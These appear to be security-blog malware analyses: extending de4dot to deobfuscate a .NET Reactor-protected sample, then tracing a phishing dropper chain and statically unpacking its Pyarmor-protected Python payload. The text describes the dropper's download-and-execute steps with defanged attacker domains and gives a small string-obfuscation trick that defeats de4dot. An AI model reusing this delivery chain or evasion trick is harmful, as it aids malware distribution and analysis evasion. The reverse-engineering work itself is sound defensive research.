SetDelegateCreatorMethod

One slightly less intuitive thing that you need to do is call SetDelegateCreatorMethod - for example in the constructor of your derived class. It’s easy to miss because the compiler doesn’t force you to do it, but if you don’t, your new code will simply do nothing, because the base class will bail early in a bunch of places. It expects a MethodDef parameter, which, as the name says, is the obfuscator method that creates delegates.

In our case, that’s the RateIndexer method. Finding this method programmatically can, for example, be done by iterating over all types in the assembly, inspecting those that have a static constructor (cctor), and checking if the cctor has a single call to a method taking a RuntimeTypeHandle parameter.

In the end, de4dot itself doesn’t do much with this information - it’s mainly used to detect that the current binary can in fact be deobfuscated with the custom proxy call fixer.

CheckCctor

Finally, you need to override the method object CheckCctor(ref TypeDef type, MethodDef cctor).

This method is called for every delegate type that has a static constructor and has at least one field. You need to analyze whether this is in fact a delegate type that can be handled. One could re-use parts of the logic from above to, again, check if we see a call to a method that looks like RateIndexer.

If the type/cctor looks fitting, an object called context needs to be returned. This can be any object of your choosing, as long as it is not null. It is simply passed to each call of GetCallInfo and de4dot itself doesn’t do anything with it. You can use it to store extra info you’ve gathered in CheckCctor so you don’t need to find the info twice, but many obfuscator types don’t require anything here, meaning you can return new object() or even this, since it literally does not matter.

What about the encrypted mapping?

So far, we’ve glossed over the fact that we still need to get hold of the token-to-token mapping and have just assumed that there’s a _mapping in GetCallInfo.

Since we’ve established that the decryption code is individually generated per protected binary, we have little choice but to run that exact code and apply it to the byte array of the encrypted resource. Finding the resource itself and fetching its data using dnlib is trivial - just check what string is being passed to a call to GetManifestResourceStream.

For the decryption code, we have several options with de4dot:

Load the assembly and directly call the decryption code via reflection. This is the easiest method by far, but also the most dangerous one, since you’ll be executing arbitrary code from a potentially malicious binary.
Isolate the decryption code and copy it to a new temporary in-memory assembly. This works well if the code has very local behavior and does not make any calls. It’s reasonably safe, because you can add safety checks for the IL code to disallow certain instructions (skipping deobfuscation if something seems fishy).
Use IL emulation - de4dot offers an instruction emulator for algorithmic code (no calls, no allocations) that would be applicable to our case. The tricky part is to find the proper start and end point for emulation - but the same also goes for the option above.

We initially went for the isolation path, and it worked well.

As we became more familiar with this obfuscator, we realized that de4dot already had support for it (albeit broken)! It turns out that what we’ve been dealing with is in fact .NET Reactor, one of the more popular obfuscators still around.

The existing code in de4dot is relying on instruction emulation. It was broken because it had trouble identifying the proper start/end points for emulation, thus being unable to properly decrypt the resource containing the mapping. The old code would first locate the end point (which is marked by a series of conv instructions), and from there it would iterate upwards to find the start. It did so by counting how many unique local variables it encountered. This is a somewhat brittle strategy, because temporary variables can easily be added, thus their count may fluctuate. We changed it up to look for a ldelem instruction instead and then go down again until there is a ldloc. You can find the diff for our changes here.

/* 0x00033826 91           */ IL_0136: ldelem.u1
/* 0x00033827 60           */ IL_0137: or
/* 0x00033828 130A         */ IL_0138: stloc.s   V_10
//                 <start of crypto algo>
//                         num3 = num3;
/* 0x0003382A 1109         */ IL_013A: ldloc.s   V_9
/* 0x0003382C 1309         */ IL_013C: stloc.s   V_9

//                         uint num9 = num3;
/* 0x0003382E 1109         */ IL_013E: ldloc.s   V_9

//                         uint num10 = num3;
/* 0x00033830 1109         */ IL_0140: ldloc.s   V_9

//                         uint num11 = 114135216U;
/* 0x00033832 20B090CD06   */ IL_0142: ldc.i4    114135216
/* 0x00033837 FE0E2600     */ IL_0147: stloc     V_38
//                    .......

Before and after

WatcherWatcher.WriteWorker(WorkerWatcher.WriteWorker(WorkerWatcher.ConnectWorker), new UnhandledExceptionEventHandler(MappingTagDescriptor.SetupFactory), WatcherWatcher.ConcatWorker);
FieldWatcher.WriteWorker(FieldWatcher.CallWorker);

AppDomain.CurrentDomain.UnhandledException += MappingTagDescriptor.SetupFactory;
Authentication.ForgotFactory();

The first call adds an unhandled exception handler. After deobfuscation, the decompiler is able to turn it into idiomatic C# code with the += syntax. The SetupFactory and ForgotFactory methods still sound weird, but they’re not delegates - they’re proper methods in the malware that were renamed by the obfuscator.

Technique: String encryption

As the author of a string encryption scheme, you need to put in some work. This is because de4dot supports multiple strategies for dealing with string encryption, and if you implement a naive scheme, de4dot will be capable of breaking it without having to write a single line of custom deobfuscation code.

The strategies de4dot supports via the --strtyp parameter are:

Static: Specialized code for the detected obfuscator is used in order to deobfuscate strings without directly executing code from the target assembly. This only works when de4dot has an implementation for the particular obfuscator.
Delegate: The target assembly is loaded and the original, unmodified string decrypter method is invoked for each string.
Emulate: This is somewhat misnamed. There is no instruction emulation going on; it does actually execute IL code. In terms of methodology, it’s similar to the Delegate decrypter type. The difference is that the code is processed/rewritten and checked for anti-deobfuscation measures first. Such measures include checking the calling assembly, or checking the stack frame for entries that are not supposed to be there (if de4dot calls the decryption method, de4dot’s methods will show up in the frame). Any discovered checks are patched in such a way that nothing incriminating shows up.

Delegate and Emulate require an additional --strtok <token> parameter that specifies the decrypter method, which has to be identified by manually looking at the assembly. The parameter may be specified multiple times if multiple such methods exist.

Consider this simple example that has two AES-encrypted strings accessed via an index:

public static class StrCrypto
{
    private static readonly string[] _strings =
    {
        "9guJzfcL9QVZQkZLtBT/ug==",
        "He8w3I012LDGTbGD7x+4VQ=="
    };
    public static string GetString(int index)
    {
        var crypted = Convert.FromBase64String(_strings[index]);
        var aes = new RijndaelManaged();
        aes.Mode = CipherMode.ECB;
        aes.Padding = PaddingMode.PKCS7;
        var decryptor = aes.CreateDecryptor(Encoding.ASCII.GetBytes("any16charswilldo"), null);
        var decrypted = decryptor.TransformFinalBlock(crypted, 0, crypted.Length);
        return Encoding.UTF8.GetString(decrypted);
    }
}

// Usage, e.g., in Main():
Console.WriteLine(StrCrypto.GetString(0));
Console.WriteLine(StrCrypto.GetString(1));

If you compile this and run de4dot --strtyp delegate --strtok 06000003, you’ll obtain the following code with all references to GetString gone. Note: 06000003 is the token of GetString and may differ in your binary.

// After de4dot
Console.WriteLine("Hello");
Console.WriteLine("World");

So the question is, what does one need to do so de4dot’s delegate/emulate strategies don’t work out of the box? The answer is, not much.

// In StrCrypto, introduce a static field:
public static int Offset = -2;

// In GetString, add it to the index parameter:
var crypted = Convert.FromBase64String(_strings[Offset + index]);

// In calls to GetString, pass a sum:
Console.WriteLine(StrCrypto.GetString(StrCrypto.Offset + 2));
Console.WriteLine(StrCrypto.GetString(StrCrypto.Offset + 3));

If you now attempt deobfuscation, you’ll get WARNING: Could not find all arguments to method System.String ConsoleApplication1.StrCrypto::GetString(System.Int32) (06000003), instr: IL_0006: add. It chokes on the sum, because de4dot will not attempt to obtain the value of fields. That’s because, for the generic case, it’s not clear whether a field’s value is really constant or if it might be assigned in multiple places. Another complication is that the field’s initial value (-2) is not part of the metadata for the field declaration or anything like that. It’s set in IL code in an auto-generated static constructor, so if you want the value, you need to parse the code.

This is the approach .NET Reactor has taken, except that their fields are not static (but still constant) and that they have many such fields.

.NET Reactor

Similar to the method delegates we saw earlier, the strings are stored in another embedded .NET resource. It’s encrypted with two layers: AES and more of the custom crypto we saw earlier. The decryption method that is called whenever a string is needed takes an offset parameter. At this offset in the resource, there’s a 32-bit integer specifying the length of the string, followed by UTF-16 string data.

de4dot has a static string deobfuscator for .NET Reactor. In this instance, the de4dot code was suffering from the same emulation bounds problem we already fixed. With the fix, the string resource was getting decrypted successfully - however, the actual string deobfuscation still failed due to the above-mentioned field technique. Typically, you can avail yourself of de4dot’s inlining facilities and simply call staticStringInliner.Add(theDecryptMethod, (method, gim, args) => stringDecrypter.Decrypt((int)args[0])). This will look for all references to the obfuscator’s decrypt method (theDecryptMethod), pass the argument of each call site to your static decrypter, and then replace the call with a direct load of the decrypted string (that’s why it’s called inliner). Sadly, it runs into the same warning we saw earlier about not being able to find all parameters, so we cannot make use of the inliner for this version of .NET Reactor.

So, we ended up manually iterating over code, checking for string decryption calls and properly parsing the argument (consisting of an XOR of a field and a 32-bit constant). The constant field values are obtained by first looking for a method that has many ldc.i4 (load integer constant) and stfld (store field) instructions, and then going through them one by one and pairing them up to get a field name → constant mapping. With de4dot’s little helpers and generally good support for working with IL code, the fix for this came out to around 80 lines - not too bad at all.

Update (2026): A better fix is to update the CflowConstantsInliner, which was originally built to handle a slightly different form of field-based obfuscation in older .NET Reactor versions.

Before and after

ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(
  AnnotationParserInstance.RegisterIndexer(
    2006988233 ^ <Module>{eda734e7-e71c-4abd-ae26-a8ec222af5ee}.m_d30267c0a00f44b5bec1a2d65bcab519.m_75c1500b23e14cdb9b27f078275c425a
  ),
  AnnotationParserInstance.RegisterIndexer(
    1912974033 ^ <Module>{eda734e7-e71c-4abd-ae26-a8ec222af5ee}.m_d30267c0a00f44b5bec1a2d65bcab519.m_cd6b2680ab2d441381513c7d9cf6dfd5
  )
);

ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("root\\SecurityCenter2", "SELECT * FROM AntiVirusProduct");

Note: In a raw protected assembly, there will be more bitwise operations around the XOR. They’re folded by de4dot’s constant folding pass, which is always applied as part of generic code deobfuscation.

de4dot situation

de4dot has been around since 2011, and it is still able to make a difference for many binaries even when only relying on its generic algorithms, but unfortunately, the original project has been unmaintained since 2020. As a result, it has been forked many times over the years. Whenever someone wanted to implement a new deobfuscator, they’d fork the original repo and add their code. Sometimes, other forks were used as a base, e.g., mobile46’s fork was popular for a time.

This led to a lot of fragmentation, which is unfortunate for a couple of reasons:

Forks that applied minor fixes to existing code are very hard to discover, because you cannot search for them with terms like <new obufscator name> de4dot.
Often, it’s not exactly clear which obfuscator was used on an assembly. This is where de4dot’s detection logic comes in handy, but if there are 5 forks for 5 different obfuscators, that means you need to try 5 different binaries.

Since it seems there has been no concerted effort to combine the fixes and additions people have made over the years into a single build, we have decided to do so.

The result: de4dotEx!

This fork contains code for deobfuscating ConfuserEx, DoubleZero, VirtualGuard and more. It also contains various fixes for existing deobfuscators made by mobile46, andywu188, KOLANICH, kant2002 and others.

We’ll try to keep integrating any new forks that come up, and of course, we’d also be delighted to accept pull requests!

PS: We are aware that there are tools like NETReactorSlayer that are excellent for unprotecting .NET Reactor binaries. Nevertheless, we found this to be a good opportunity to get more familiar with .NET internals and deobfuscation tooling development.

The examples in this post are from the following sample (SHA256): 9f77007884de82a836b19ee01e162a4d4075351c1938b496697258709600566f

Unpacking Pyarmor v8+ scripts

Wed, 12 Feb 2025 13:00:00 +0000

Intro

On a rainy Friday around lunchtime, we received a phishing email saying we had an unpaid invoice, with an attached SVG file. We chose to analyze it as an exercise, with the goal to burn the attackers’ C2 IP addresses and malware samples. But what was planned as a Friday afternoon exercise turned into a journey deep down the rabbit hole…

Malware dropper

When opening the .SVG file in a web browser, the contained JavaScript code is executed, which extracts a .HTM file from a base64 blob and “downloads” it. The .HTM file shows the user a blurred document, roughly looking like an invoice, overlaid with a message telling the user that the browser does not support the correct display of the message and the user should click the “Open” button to display the file locally, as you can see in figure 1:

Figure 1: Screenshot of the downloaded .HTM file

The “Open” button is linked to a JavaScript function that opens the Windows Search with a WebDAV path to the attackers’ server, as one can see in the code below.

Figure 2: JavaScript code abusing Windows Search

Thus, we have found the first domain used by the attackers: binary-acceptance-hotel-difficult[.]trycloudflare[.]com.

Following the WebDAV path, we found a simple file listing, showing a folder called ge, as well as the files lamoor.vbs and WSJ25F.bat. Unfortunately, we did not investigate the content of ge further at this point, and it was not available anymore when revisiting the server later. lamoor.vbs is a simple VBScript that downloads and executes a file also called WSJ25F.bat from the URL msc4dfl1ed7eb485ad6ahelixpflanzen[.]de@5029\DavWWWRoot\WSJ25F.bat, which has the same content as the WSJ25F.bat on the server investigated here.

So inside lamoor.vbs we have found a second domain used by the attackers: msc4dfl1ed7eb485ad6ahelixpflanzen[.]de.

WSJ25F.bat is an obfuscated batch script, which begins as follows:

:: ▄▄▄▄    ▄▄▄     ▄▄▄█████▓ ▄████▄   ██░ ██   ██████  ██░ ██  ██▓▓█████  ██▓    ▓█████▄
:: ▓█████▄ ▒████▄   ▓  ██▒ ▓▒▒██▀ ▀█  ▓██░ ██▒▒██    ▒ ▓██░ ██▒▓██▒▓█   ▀ ▓██▒    ▒██▀ ██▌
:: ▒██▒ ▄██▒██  ▀█▄ ▒ ▓██░ ▒░▒▓█    ▄ ▒██▀▀██░░ ▓██▄   ▒██▀▀██░▒██▒▒███   ▒██░    ░██   █▌
:: ▒██░█▀  ░██▄▄▄▄██░ ▓██▓ ░ ▒▓▓▄ ▄██▒░▓█ ░██   ▒   ██▒░▓█ ░██ ░██░▒▓█  ▄ ▒██░    ░▓█▄   ▌
:: ░▓█  ▀█▓ ▓█   ▓██▒ ▒██▒ ░ ▒ ▓███▀ ░░▓█▒░██▓▒██████▒▒░▓█▒░██▓░██░░▒████▒░██████▒░▒████▓
:: ░▒▓███▀▒ ▒▒   ▓▒█░ ▒ ░░   ░ ░▒ ▒  ░ ▒ ░░▒░▒▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░▓  ░░ ▒░ ░░ ▒░▓  ░ ▒▒▓  ▒
:: ▒░▒   ░   ▒   ▒▒ ░   ░      ░  ▒    ▒ ░▒░ ░░ ░▒  ░ ░ ▒ ░▒░ ░ ▒ ░ ░ ░  ░░ ░ ▒  ░ ░ ▒  ▒
::  ░    ░   ░   ▒    ░      ░         ░  ░░ ░░  ░  ░   ░  ░░ ░ ▒ ░   ░     ░ ░    ░ ░  ░
::  ░            ░  ░        ░ ░       ░  ░  ░      ░   ░  ░  ░ ░     ░  ░    ░  ░   ░
::       ░                   ░                                                     ░
::
::                          !! Obfuscated By Batchsield !!


@%RlreyKGxSD%e%KDuXrBAYVA%c%cr%h%fOG%o%dXTcycKBB% %jenTylt%o%svFuxrt%f%wJQUX%f%urSNrd%
s%mEVT%e%Hujf%t%q%l%BFWpZo%o%bOtHT%c%I%a%GAUPbqqJAU%l%I%

:: Function to search for and open a PDF file in the Downloads folder
:%PxD%:%U% %iXXMVGf%F%ylMX%u%dJuIOerMzw%n%Vyn%c%gZAW%t%ueGJ%i%DoAK%o%Emx%n%OQeP% %sYsxJnvlz%t%jsTSJ%o%Ys% %oFjxCobCGv%s%dCC%e%ELvWRgh%a%VaTX%r%jdAfeLw%c%SrJltK%h%Qp% %Qv%f%HrfzfVu%o%ZZFKiUBU%r%URNZhmKy% %Nuatq%a%qiwUtK%n%I%d%ekA%

As one can see, the obfuscation mainly consists of inserting multiple non-defined variables into the code (and yes, they can’t even spell their own obfuscator’s name properly). Interestingly, the comments inside the script are not obfuscated at all. When searching for “Batchshield deobfuscator” on the internet, one can easily find tools that can deobfuscate this script. However, some of those tools remove all the variables, including the legitimate ones!

The content of the deobfuscated script is only briefly described, as the focus of this blog post is on the later stages of the malware.

Open all PDF files inside the Downloads folder
Download JAAPW.zip and MSVP.zip from hxxp://qed245t3kreiscryoz-gueterslohewr33w[.]de[:]7719
Extract the ZIP files to the paths \Downloads\Support and \Downloads\OneDrive

echo Running Python scripts...
cd /d "\Downloads\OneDrive\Python\Python312"
python.exe BArown.py
python.exe CASrest.py
python.exe DXreame.py
python.exe ASTRILNOV1.py

Download NFC.bat from the same URL and move it to the user’s startup folder
Delete temporary ZIP files

The startup file changes the directory to %Userprofile%\Downloads\Support\Python312 and executes the Python scripts EAdate.py, FAScis.py, GXrop.py and HPUope.py, which probably contain the actual payload (?), using the custom python interpreter.

And here is a third domain used by the attackers: qed245t3kreiscryoz-gueterslohewr33w[.]de. All the domains and download URLs were reported to URLhaus. This led to malware dropper domains landing on several block lists within only a few hours after the malware distribution campaign started.

But what about the Python scripts, the actual payload of the malware campaign? Upon opening one of the scripts, we were greeted by this monstrosity:

# Pyarmor 9.0.7 (pro), 007106, non-profit, 2025-01-08T19:48:44.467478
from pyarmor_runtime_007106 import __pyarmor__
__pyarmor__(__name__, __file__, b'PY007106\x00\x03\x0c\x00\xcb\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00@\x00\x00\x00\xdd\x91\x07\x00\x12\t\x06\x00,\xfe5\xb2\x83o\x1ci\x1d?\xabs\'\xc3\x10f\x00\x00\x00\x00\x00\x00\x00\x00\xb7\xd1X\xea\x17\xd4\xc4\xb2o\x9c<\xb3n\xe2\x00\xf0_l:\xa2\x11\x10Pv\x04]\xf1t\xc3\xd6\x0e\x8b\xf9 \xa3\x84X\xcd\xbaB\x94\x94D\x9b\x90Q\xfd\x93f <snip>

The bytes string goes on like that for the rest of the file.

This successfully nerd-sniped our malware analysis team ;)

Pyarmor

Pyarmor is a product for protecting Python scripts from reverse engineering. It also offers licensing features, such as binding scripts to specific hardware or outfitting scripts with a kill date. Sadly, as is often the case with such products, it is also occasionally abused by malware in order to hide malicious code.

There are a couple tools out there for unpacking Pyarmor, such as PyArmor-Unpacker, but they’re not compatible with the latest v8/v9 versions. Other tooling that does claim to be compatible with v8+ uses a rather simplistic memory dumping technique, where it’s not guaranteed that all code (or any bytecode at all) will actually be decrypted. The reason will become clear later in this post.

In the following we are going to provide insights into how Pyarmor works and offer some scripts that help make the original code visible via static unpacking. It should also be noted that Pyarmor supports multiple protection modes, including one called bcc mode where Python code is compiled into native code. This poses additional challenges that are not covered here, but the same basic principles and crypto primitives should be used.

Please note that we will explicitly not provide an all-in-one unpacking solution - if that’s why you’ve come here, you might as well stop reading right now.

Basic functionality

As can be seen in the snippet shown earlier, all the script does is importing a function called __pyarmor__ and calling it. pyarmor_runtime_007106 is a directory in the Python interpreter directory that was shipped with the malware. It contains a native module written in C called pyarmor_runtime.pyd (essentially a 64-bit DLL) and a simple __init__ script that again imports __pyarmor__ from .pyarmor_runtime. This is so that the main script can import the function from pyarmor_runtime_007106 without a further indirection.

The native module exports a single function that is called by the Python interpreter for initialization purposes. It creates a PyModule object by passing the following structure to PyModule_Create2:

Figure 3: Pyarmor PyModule struct, complete with helpful doc strings

From this, we can glean several pieces of information:

The user data portion of the module spans 0xC0 bytes
The module exposes just a single method
We get the function pointer for the native __pyarmor__ implementation

A bit further down in the PyInit export function, the following code can be found:

  *(_DWORD *)(v21 + 48) = 8;
  *(_QWORD *)(v21 + 56) = 0LL;
  *(_QWORD *)(v21 + 32) = "C_ASSERT_ARMORED_INDEX";
  *(_QWORD *)(v21 + 40) = c_assert_armored; // func
  v23 = PyCMethod_New(v21 + 32, module, module, 0LL);
  if ( !v23 )
    goto LABEL_58;
  md_state->pMethods[1] = v23;
  *(_DWORD *)(v21 + 80) = 8;
  *(_QWORD *)(v21 + 88) = 0LL;
  *(_QWORD *)(v21 + 64) = "C_ENTER_CO_OBJECT_INDEX";
  *(_QWORD *)(v21 + 72) = c_enter_co_object; // func
  v24 = PyCMethod_New(v21 + 64, module, module, 0LL);
  if ( !v24
    || (md_state->pMethods[2] = v24,
        *(_DWORD *)(v21 + 112) = 8,
        *(_QWORD *)(v21 + 120) = 0LL,
        *(_QWORD *)(v21 + 96) = "C_LEAVE_CO_OBJECT_INDEX",
        *(_QWORD *)(v21 + 104) = c_leave_co_object, // func
        (v25 = PyCMethod_New(v21 + 96, module, module, 0LL)) == 0) )

This registers three additional C functions that apparently work on code (co) objects. Code objects are low-level representations of compiled Python bytecode, encompassing all details required for code execution. For example, the main body of a script is a code object, as well as each respective function defined within the body. The enter and leave functions will become important later on.

In terms of strings, the library contains quite a few cryptography-related strings, including source file paths. A quick search revealed that we’re dealing with libtomcrypt, which was statically linked into the library. We created a signature file for this library so that we can automatically name most functions belonging to libtomcrypt in the Pyarmor module. For good results, it’s important to match the library version and compiler as good as possible when creating the signatures. According to strings in the .rdata section, both GCC 6.4.0 and 7.4.0 were used for compilation. After some trial and error, we got a good match with libtomcrypt v1.18.2 and GCC 6.4.0. The resulting FLIRT signature is part of the GitHub repo we published as part of this work.

Quick recap of what we have so far:

We know where calls to __pyarmor__ land in the native module
We found functions that deal with entering/leaving code objects
We can see all places where libtomcrypt is used for cryptographic operations in the module

Cryptography

Pyarmor uses libtomcrypt for the following purposes:

Verifying some RSA signature (this is nothing we really care about)
Deriving a key with MD5
Ciphering data with AES-GCM (Galois Counter Mode)

Key derivation

The key derivation function is called towards the end of the PyInit export, after the RSA verification and some more checks on the module filename.

void get_key_via_md5(__int64 signature, __int64 digest)
{
  __m128i si128; // xmm0
  char v6[456]; // [rsp+20h] [rbp-1C8h] BYREF

  md5_init(v6);
  md5_process(v6, aPyarmorVax, 20LL); // "pyarmor-vax-007106\x00\x00"
  md5_process(
    v6,
    (char *)&unk_64944060 + g_dword_64944050_0x20_rsaoffset,
    (unsigned int)g_dword_64944054_0x10E_rsakeylen); // rsa key
  md5_process(v6, signature + 32, *(unsigned int *)(signature + 4));
  si128 = _mm_load_si128((const __m128i *)&xmmword_649499C0); // vector with all bytes set to 0xF1
  xmmword_64948140 = (__int128)_mm_xor_si128(_mm_load_si128((const __m128i *)&xmmword_64948140), si128);
  /* <snip> - more XORs with 0xF1 */
  byte_6494824A ^= 0xF1u;
  byte_6494824B ^= 0xF1u;
  LOBYTE(word_6494824C) = word_6494824C ^ 0xF1;
  HIBYTE(word_6494824C) ^= 0xF1u;
  md5_process(v6, &xmmword_64948140, 0x10ELL);
  memset(&xmmword_64948140, 0, 0x108uLL);
  *((_DWORD *)&xmmword_64948140 + 66) = 0;
  word_6494824C = 0;
  md5_done(v6, digest);
}

Essentially all data that goes into this key computation is static. The only slightly “dynamic” part is the region of 0x10E bytes that is XOR-decoded at runtime, and then cleared after being processed by MD5 - it seems to be yet another RSA key, apart from the plain RSA key that is being hashed in the second call to md5_process. The signature parameter, passed from the caller, is located in the same general unk_64944060 memory region in the .data section.

So to obtain the key specific to your Pyarmor runtime, you can either attach a debugger to a Python interpreter and break after the derivation function has been called, or you can compute it statically. We wrote an IDAPython script that follows the latter route. With some tinkering, the same could be achieved using pefile or similar libraries.

The resulting digest is then directly used as AES-128 key.

GCM

The use of GCM in the native module is somewhat bizarre for multiple reasons.

  datasize = *(_DWORD *)(pData + 32);
  v5 = *(_DWORD *)(pData + 36);
  cipherdata = (int *)(pData + *(unsigned int *)(pData + 28));
  if ( (*(_BYTE *)(pData + 37) & 7) != 0 )
  {
    codecrypto = a1->codecrypto;
    *(_DWORD *)(pData + 40) = v5;
    gcmobj = (gcm *)(codecrypto + 24);
    cryptres = gcm_reset((gcm *)(codecrypto + 24));
    if ( cryptres
      || (cryptres = gcm_add_iv(gcmobj, pData + 40, 12u)) != 0
      || (cryptres = gcm_add_aad_0(gcmobj, 0LL, 0)) != 0
      || (cryptres = gcm_process(gcmobj, (__int64)cipherdata, datasize, (__int64)cipherdata, 1)) != 0 )
    {
      // handle error and return or exit process
    }
  }

You can see multiple GCM functions being used here that look like they should be from libtomcrypt, however that is not directly the case. These stem from a different compilation unit using a smaller gcm state structure than libtomcrypt. The struct contains keys for different cipher types at its beginning, and some of them were omitted in this variant. In the case of gcm_add_aad, the “normal” libtomcrypt function is in fact also present in the binary, which is why we have a _0 suffix here. The special functions do, however, make direct use of various primitives from the normal libtomcrypt, such as gcm_mult_h.

Another thing to note is the absence of authentication tag handling.

"I heard GCM is a good cipher mode to use"

The point of using GCM is to prevent manipulation of the ciphertext, i.e., to ensure that decryption returns the exact data that was encrypted. Otherwise, it’s possible for someone to flip a couple bits in the ciphertext in the hopes of achieving interesting changes in the plaintext. Without storing and comparing the authentication tag, no guarantees about the output data are made, and one might as well have used any other cipher mode such as CTR.

It’s not entirely clear why Pyarmor chose GCM, although their choices do have a noteworthy consequence: Some tools and libraries outright refuse to decrypt anything in GCM mode if you don’t have an authentication tag. For example, it’s not possible to use Cyberchef in this particular case.

Lastly, the nonce (or initialization vector) handling is slightly weird. While the size is the GCM default of 12 bytes, it is not stored in one contiguous piece. You can see that the dword at + 40 is replaced with the dword at + 36.

The decryption snippet shown in this section is used in various places by the native module whenever it needs to decrypt any amount of data, for example the huge bytes string we saw in the beginning is largely comprised of GCM-ciphertext.

Now we can decrypt everything, right?

You can think of the huge bytes string passed to __pyarmor__ as an encrypted .pyc file with a custom header. The header has the following structure:

Offset	Description	Example
0:8	Module magic (must match native module identifier)	PY007106
9	Python major version	3
10	Python minor version	12
12:16	.pyc magic for specific Python version	`CB 0D 0D 0A`
20	Protection type? `9` for bcc mode, otherwise `8`	8
28:32	Ciphertext offset	64
32:36	Ciphertext size	496093
36:40	IV bytes [0:4]; individual bytes contain flags; also used as “validation” dword for decrypted data	`12 09 06 00`
37	Any of the first 3 bits in this byte must be 1 for GCM to be applied	9
40:44	Fake IV bytes [0:4]	`2C FE 35 B2`
44:52	IV bytes [4:12]	`83 6F 1C 69 1D 3F AB 73`
dynamic	Ciphertext, at offset given above

Figure 4: Structure of bytes string passed to __pyarmor__()

Applying GCM decryption yields the following:

Figure 5: First decryption result

Now this doesn’t look too shabby, we can see some strings and further down (outside the range shown here), we even get interesting ones like key and rc4_decrypt. One thing that immediately caught our eye is that there is still some data that seems to have pretty high entropy, especially at the ranges 0x60..0x90 and after 0x140. Thus, the next goal is going to be understanding what context the still-encrypted data appears in.

The decrypted data has another Pyarmor-specific header, which helpfully comes with a length prefix (0x20). We can see a repetition of 12 09 06 00, which is compared with the value from the outer header. Afterwards (starting from 0x20), we have data that is passed into PyMarshal_ReadObjectFromString().

Python marshaling

The Python interpreter uses the built-in marshal module whenever it needs to serialize or deserialize compiled scripts. It essentially implements a Python-specific binary format for basic types like integers, strings, floats, tuples, lists, and most importantly, code objects. The format is not stable and tends to vary with each Python interpreter version. Thus, to have any chance at all, the data must be loaded with the exact Python version it was written with. When we tried this with python3.12, it failed with a “bad marshal data (unknown type code)” error. Uh oh….

In the previous section, we mentioned a PyMarshal function that is used. We omitted the fact that this function is not imported from the main Python library. Instead, the entire marshaling code was vendored into the Pyarmor runtime, and we identified it by searching for some of the error strings on GitHub. There’s pretty much only one reason one would do such a thing: in order to customize some logic in the code.

So we accepted our fate, built python3.12 from source, and stepped through the deserialization logic side by side to find the point of divergence. Somewhat unsurprisingly, the difference turned out to be in code objects, specifically at the end of the object data. Pyarmor contains the following additional logic:

            if ( !rf->readable )
            {
              v265 = getc((FILE *)rf->fp);
              if ( v265 != -1 )
                goto LABEL_546;
              goto LABEL_479;
            }
            v320 = (unsigned __int8 *)r_byte(1LL, (__int64)rf);
            if ( !v320 )
            {
              PyErr_SetString(PyExc_EOFError, "EOF read where object expected");
              goto code_error;
            }
            v265 = *v320;
LABEL_546:
            v304 = (_BYTE *)r_string(v265, (__int64)rf);
            v305 = (__int64 *)v304;
            if ( !v304 )
              goto error;

This logic reads an additional bytes string prefixed with a length byte. Its purpose is unknown - it didn’t seem to be relevant for static analysis.

Since we already had the Python source at hand anyway, we simply inserted similar logic into the marshal module. When doing so, you must take care not to disturb the normal loading activities of the Python runtime, since of course it also runs the unmarshaling code when loading built-in/standard modules. The patch we came up with for python3.12 is part of our GitHub repo, along with a docker image building a patched Python.

With the customized Python build, we were now able to successfully parse the binary data we decrypted!

>>> marshal.load(BytesIO(data[0x20:]))
Got extra data of length 12
Got extra data of length 12
Got extra data of length 12
<code object <module> at 0x7f9a3a6ce100, file "<frozen JAN-X1>", line 1>

The module we parsed contains three code objects in total, so we got three debug prints about the additional bytes that were found. It appears the malware’s source file was originally called JAN-X1.py.

Side note: There is one other reason that it is in Pyarmor’s interest to vendor the unmarshaling code. The official variant of the code offers auditing hooks that allow you to be informed whenever the interpreter unmarshals data. This was utilized by unpackers for older Pyarmor versions. In the vendored code, any auditing logic is conveniently missing.

Analyzing the actual bytecode

With our code object instance at the ready, we can finally disassemble some bytecode!

>>> dis.dis(thecode)
  0           0 NOP

  1           2 NOP
              4 PUSH_NULL
              6 LOAD_CONST               1 ('__pyarmor_enter_60307__')

  2           8 LOAD_CONST               2 (b'\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x1a@\x00\x00\x00\x00\x00\x00\x00')
             10 BUILD_TUPLE              1
             12 CALL_FUNCTION_EX         0
             14 POP_TOP
             16 RESUME                   0
             18 NOP
             20 NOP
             22 NOP
             24 NOP
Traceback (most recent call last):
...
  File "/python312/Lib/dis.py", line 401, in _get_name_info
    argval = get_name(name_index, **extrainfo)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
IndexError: tuple index out of range

Well… it’s a start? There are a couple of things to note here:

Remember the code enter/leave functions we noted in C earlier in the post? Here, they’re calling enter
When looking at where the bytecode is defined in the decrypted binary data, the high entropy (encrypted) area happens to start directly after the chain of NOPs at the end
The first encrypted offset (26/0x1a) is also present in the conspicuous bytes string that is loaded at offset 8. Furthermore, the byte after \x1a (@ aka 0x40) is a good match for the size of the encrypted area

Looking at the code for c_enter_co_object, we see the following:

  iv_func = (__int64 (__fastcall *)(char *, _QWORD))ret_zero;
  if ( (*(_BYTE *)(args + 40) & 4) != 0 )
    iv_func = *(__int64 (__fastcall **)(char *, _QWORD))(args + 52);// some sort of iv mutator? not used in our case
  iv_offset = *(unsigned __int8 *)(args + 41);
  v13 = (char *)codeptr + iv_offset;
  if ( (*(_BYTE *)(args + 40) & 2) == 0 )
    v13 = (char *)codeptr + *(unsigned int *)(args + 44) + iv_offset + *(unsigned __int8 *)(args + 43);
  *(_QWORD *)iv = *(_QWORD *)v13;
  *(_DWORD *)&iv[8] = *((_DWORD *)v13 + 2);
  if ( !iv_func(iv, 0LL) )
  {
    codecrypto = v2->codecrypto;
    cryptsize = *(_DWORD *)(args + 44);
    cryptstart = *(_BYTE *)(args + 43);
    gcm = (gcm *)(codecrypto + 24);
    assume12 = *(_BYTE *)(codecrypto + 1);
    v19 = gcm_reset((gcm *)(codecrypto + 24));
    if ( !v19 )
    {
      v19 = gcm_add_iv(gcm, (__int64)iv, assume12);
      if ( !v19 )
      {
        v19 = gcm_add_aad_0(gcm, 0LL, 0);
        if ( !v19 )
        {
          v19 = gcm_process(gcm, (__int64)codeptr + cryptstart, cryptsize, (__int64)codeptr + cryptstart, 0);
          if ( !v19 )

